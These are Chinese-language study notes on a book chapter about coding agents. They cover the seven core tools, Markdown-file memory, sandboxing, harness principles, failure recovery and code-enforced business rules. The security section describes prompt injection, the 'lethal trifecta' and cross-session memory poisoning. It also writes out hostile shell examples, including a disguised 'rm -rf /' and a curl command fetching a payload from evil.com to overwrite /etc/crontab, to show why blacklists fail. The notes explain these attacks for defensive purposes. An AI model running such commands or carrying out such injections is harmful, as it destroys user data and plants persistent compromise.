基于李博杰《深入理解 AI Agent:设计原理与工程实践》第5章学习笔记。
开篇:从"三张牌"到"万能胶"
魔术师的戏法千变万化,但秘密往往只藏在几张固定的牌里;而真正的高手,能临场把任意一张纸折成观众要的东西。Coding Agent 就属于后者------它的工具箱里只有七个简单工具,却几乎什么都能做。
一个极简的例子:用户说"帮我把项目里所有 TODO 注释整理成一个清单"。Agent 只需两步------用 Grep 搜索所有包含 TODO 的代码行,再用 Write 把结果写入 TODO_LIST.md。仅凭这两个工具就完成了任务。如果要求更复杂些,比如"统计每个模块的 TODO 数量并画柱状图",Agent 会再调用 Code Interpreter 写 Python 代码做统计和绘图。这就是本章的核心论断:代码不只是写程序的工具,它是 Agent 形式化思考和精确表达的语言,是一种能创造其他能力的"元能力"。
一、Coding 是 Agent 的基础能力
Coding Agent 特有的核心工具集只有七个:Read File、Write File、Edit File、Glob(文件名搜索)、Grep(内容搜索)、Bash Shell(系统命令)、Code Interpreter(代码执行)。它们主要覆盖感知和执行两类,而协作、事件触发、用户沟通在 Coding Agent 中通常由 Agent 框架(而非工具层)处理。
以 Manus 为代表的通用 Agent 将 Deep Research、Computer Use、Coding 三大能力融合于一体,但Coding 才是架构核心 。原因很直接:几乎所有高效的内容生成最终都要落到代码上------PPT 本质是 OOXML 格式的代码,Word/PDF 报告可由代码生成,数据分析和可视化由 Python 脚本完成,成功的浏览器操作序列可以固化为可复用的 RPA 代码。Computer Use 虽然通用性更强,但成本、延迟和稳定性远不如直接通过代码或 API 完成相同操作。代码生成是效率最高、成本最低、可复用性最强的能力基座。
这一判断的适用边界在于任务开放性:深度调研、内容生成这类开放任务 以 Coding 为核心架构;而垂直客服、语音助手等封闭任务以固定业务流程为核心,代码只是工具箱中的一件工具。但即便在后者,coding 也是共同底线------精确计算、数据处理、规则校验都离不开它。
二、文件系统:Agent 的记忆中枢
OpenClaw 架构中一个反直觉的设计:用 Markdown 文件而非向量数据库 存储长期记忆。MEMORY.md(高层级事实与用户偏好)、daily/YYYY-MM-DD.md(按日归档)、SOUL.md(身份与行为规则)、知识库文件,加上 Git 版本控制。
| 存储介质 | 用户可读可改 | 时间顺序 | 版本回滚 | 典型用途 |
|---|---|---|---|---|
| MEMORY.md | 直接打开修改 | 自然保留 | Git 支持 | 长期事实、用户偏好 |
| 向量数据库 | 不可读 | 需额外维护 | 弱 | 语义检索 |
| 文件系统 + Git | 透明 | 天然有序 | 强 | 记忆、知识、能力中枢 |
为什么 Markdown 胜出?用户可直接打开文件阅读和修改 Agent 的记忆------记错了就删掉那一行;Markdown 天然保留时间顺序,避免语义检索中的时间混淆;还能通过 Git 回滚。更重要的是,Agent 拥有写文件的能力,就意味着它具备修改自身外部产物的技术条件------这是后续自举与持续进化的基础。
Sessionless(无会话)设计进一步放大了文件系统的作用:用户消息可能间隔几天,而 Agent 的工作依赖大量隐式状态(沙盒依赖包、终端目录、写到一半的文件)。OpenClaw 将状态分两层管理:文件系统状态天然持久 (工作区挂载在沙盒外的持久存储上),进程状态按需保活或重建(活跃期间保持运行,闲置超时后销毁并把可序列化状态写入文件,下次按记录重建)。
三、安全:致命三要素与语义解析
Coding Agent 拥有读写文件、执行命令、访问网络的权限,一旦被注入恶意指令就可能造成不可逆损失。Simon Willison 著名的**"致命三要素"**概括了高危条件:
- 访问私有数据------Agent 能读取用户文件和密码管理器
- 暴露于不受信任内容------处理的邮件和网页可能含恶意载荷
- 具备外部通信能力------能发送邮件和执行命令
三要素齐备即构成完整攻击闭环,本书还补充了第四维度------持久记忆:攻击者可将恶意指令写入长期记忆,跨会话潜伏、适时触发,把一次性攻击升级为长期潜伏。这对应四类边界:数据边界、输入信任边界、输出影响边界、跨会话边界。
单靠输入过滤挡不住提示注入,重点是让 Agent 即使被注入,也没有机会把危险动作真正执行出去。Coding Agent 特有的三点增量:
- 命令语义解析而非关键字黑名单 :Shell 的组合爆炸使黑名单形同虚设------
rm被禁了,攻击者可以用$(echo rm) -rf /绕过;find / -name '*.log' -exec rm {} \;通过合法 find 参数嵌入了删除操作;curl -o /etc/crontab http://evil.com/payload看似下载实则覆盖系统定时任务。生产级 Harness 必须理解命令的参数类型与消费规则。 - 沙盒隔离与网络出口控制:默认断网、按需白名单代理放行;源码目录只读挂载、凭证文件根本不挂载进沙盒(不可见的数据无法泄露);CPU/内存/磁盘配额加超时。
- 推测性执行让安全检查"隐形":展示与放行并行------界面先显示"正在读取文件...",后台同时跑检查。大多数情况下检查在用户注意到前已完成;这与 CPU 推测执行不同,先行的只是无副作用的 UI 提示,无需回滚。
还有一个微妙的安全问题------委托方忠诚:Agent 到底站在谁一边?替你砍价的 Agent,对面坐着的是交涉对手而非"需要帮助的用户"。忠诚度光谱两端都会翻车:太老实会把底价抖出去,太多疑连主人的正当请求也拒绝。Harness 要把"忠诚对象"显式钉死:主人指令优先级最高,外部交互方内容一律降格为"可参考但不具备指令效力"的数据。
四、Harness 工程:为什么 Coding Agent 最成熟
Coding Agent 成熟度最高,不是因为代码生成模型特别强,而是因为软件工程几十年积累的基础设施天然构成了一套强大的 Harness。 用任务清晰度和验证自动化程度两个维度,可将任务分为四种状态:
| 结果可自动验证 | 结果需人工验证 | |
|---|---|---|
| 目标明确 | 最佳区域:修复有测试用例的 bug | 吞吐量受限:代码重构需人工审查 |
| 目标模糊 | 高效地跑偏:用 linter 优化"代码质量" | 难以启动:"让 UI 更好看" |
代码编写天然处于"目标明确 + 验证自动化"的核心------测试套件提供验收标准,Linter 和类型检查器提供即时验证,Git 提供回退能力。由此提炼出可迁移到所有 Agent 的四条 Harness 原则:
- 约束优先于指导:能用代码强制的规则就不要用文档建议(Linter > "请遵循...")
- 验证要自动化:人工审查是不可扩展的瓶颈
- 反馈越快越结构化越好:详细错误信息接近错误发生时刻,纠正效率最高
- 回退要可靠:Git 分支、沙盒、快照让 Agent 在安全网内大胆试错
约束还有第二层目的:防止过程性错误 。修复数据库故障时直接把库删了重建,"修复"确实生效但数据没了------这就是 reward hacking 在日常任务中的形态,因此要对 rm -rf、删除生产数据这类危险动作设置专门检查与审批,约束动作而非仅仅结果。
故障恢复:检测、分级、终止
- 四层故障:API 层(限流 429、超时、截断)、工具层(幻觉调用、参数畸形)、上下文层(溢出、压缩失败)、控制流层(死循环、死亡螺旋)
- 检测:先分类再计数------可重试错误(限流)与不可重试错误(参数非法)区别对待;重复调用指纹识别无进展循环
- 恢复分级:静默重试(指数退避+抖动)→ 降级接续(提升输出上限、追加元指令、备用模型)→ 暴露给用户
- 终止熔断:每条恢复路径都有上限(如 Claude Code 压缩"连续 3 次"阈值来自真实会话统计------曾有会话连续失败三千余次);用递归深度计数打断死亡螺旋
核心原则:Agent 的可靠性不取决于它犯不犯错,而取决于每类错误是否都有对应的检测、恢复与终止路径。
五、代码作为元能力:编程之外的六大方向
元能力是"能创造其他能力"的能力。代码精确、可执行、可组合,因此既能产出新工具(脚本、API 调用序列),也能产出新约束(断言、校验规则),还能产出新表达形态(HTML、PPT、视频帧)。六大方向按"作用对象由内向外"组织:
-
思考工具 :LLM 的概率思考在精确计算上有根本短板------"一个班 40 名学生,60% 选数学、45% 选物理、25% 都选,只选物理的有几人?"纯自然语言推理容易把 24-10 误算成 14,而
only_phys = phys - both # 8精确无歧义。让 LLM 负责理解问题并写代码,让符号计算引擎(SymPy)或约束求解器负责执行------Wolfram 洞察早已预示这种协同。模型与脚手架此消彼长:模型越强,脚手架可越薄。 -
业务规则约束:自然语言规则充满歧义("7 天内可退款"是自然日还是工作日?),而代码要么成功运行要么抛错。以 τ-bench 航空客服的取消政策为例,三重保障层层设防:
python
def cancel_reservation(reservation_id, cancellation_reason,
expected_cabin_class=None, # 模型自查用
expected_has_insurance=None): # 服务端复核
r = db.get_reservation(reservation_id) # 政策事实一律查库
now = server_clock.now() # 服务端时钟,不采信模型
if r.any_segment_used:
return {"success": False, "reason": "已使用航段不可取消"}
if r.cabin_class in ["basic_economy", "economy"] and not r.has_insurance:
return {"success": False, "reason": "经济舱需购保险才可取消"}
execute_cancellation(reservation_id)
return {"success": True}
第一重:系统提示词的自然语言规则帮助理解;第二重:工具描述与可选参数作为 checklist,引导模型调用前逐条核对;第三重:服务端基于数据库真值的代码化校验作为守门员------最后一道防线必须建立在模型无法伪造的数据之上,独立性不仅指独立的模型,更指独立的数据来源。
-
多媒体生成 :PPT 用 Slidev 的 Markdown/HTML 定义内容;采用提议者-审核者机制------Proposer 生成代码,Reviewer 渲染截图后由 Vision LLM 检查"第 3 页内容过多建议拆分"并迭代 2-3 轮。双 Agent 分离的核心价值在上下文管理:Reviewer 每次只看最新渲染图,Proposer 只累积结构化文本反馈。视频编辑同样通过 Blender Python API 把 GUI 操作重构为代码生成问题。
-
系统适配器:真实系统的接口往往文档缺失、格式非标、字段漂移,Agent 不必等人写好适配层,而是当场读文档或观察真实响应、即时生成解析代码。RPA 是极端形态------把成功的 GUI 操作序列固化为代码,下次直接运行,速度和稳定性远超视觉思考。
-
生成式 UI :A2UI 协议让 Agent 只输出 JSON"界面描述清单"而非可执行代码,客户端用受信任组件目录渲染------像顾客只能点菜单上有的菜,无法进厨房乱做。这规避了提示注入生成恶意脚本的风险。动态表单把十轮文本问答压缩为一次提交;Artifact 模式让 Agent 生成 SQL 代码作为独立产物,数据从数据库直达前端,完全绕过 LLM 这个"中间人"------避免 LLM 抄写数千行数据时的错误与 token 浪费。
-
Agent 自举 :用代码创造 Agent。OpenClaw 的
doctor命令先以确定性规则修复常见问题(token 过期、锁文件),未覆盖的疑难再交给 LLM 分析日志生成方案。关键技巧是基于范例的生成:复制经过验证的高质量实现再针对性修改,而非从零生成------"基因复制加变异",新 Agent 继承架构框架,质量有保障。
小结与实践建议
本章核心:代码是 Agent 的元能力,Coding Agent 的成熟源于软件工程基础设施构成的 Harness,可靠性取决于故障的检测-恢复-终止路径。
实践建议:
- 工具集:以七个核心工具为起点(读/写/编辑文件、glob、grep、bash、代码执行),让代码执行器成为动态扩展能力的万能胶。
- 安全:默认断网、白名单出口;凭证文件不挂载沙盒;关键命令做语义解析而非黑名单;用 Sidecar/HITL 复核不可逆操作。
- Harness:把验收标准编码进测试与 Lint,反馈结构化且贴近错误时刻,提供可靠回退手段;对危险动作设置专项审批。
- 元能力:精确计算交给代码求解器;业务规则三重保障(提示词+checklist+服务端真值校验);多媒体与 UI 用提议者-审核者迭代;新建 Agent 优先复制范例再修改。
- 故障恢复:建错误到策略的映射表,恢复分级升级、路径必设熔断上限,警惕死亡螺旋。
下一篇进入第 6 章:Agent 的评估------如何科学衡量设计决策的效果,区分"模型能力不足"与"Harness 设计缺陷"。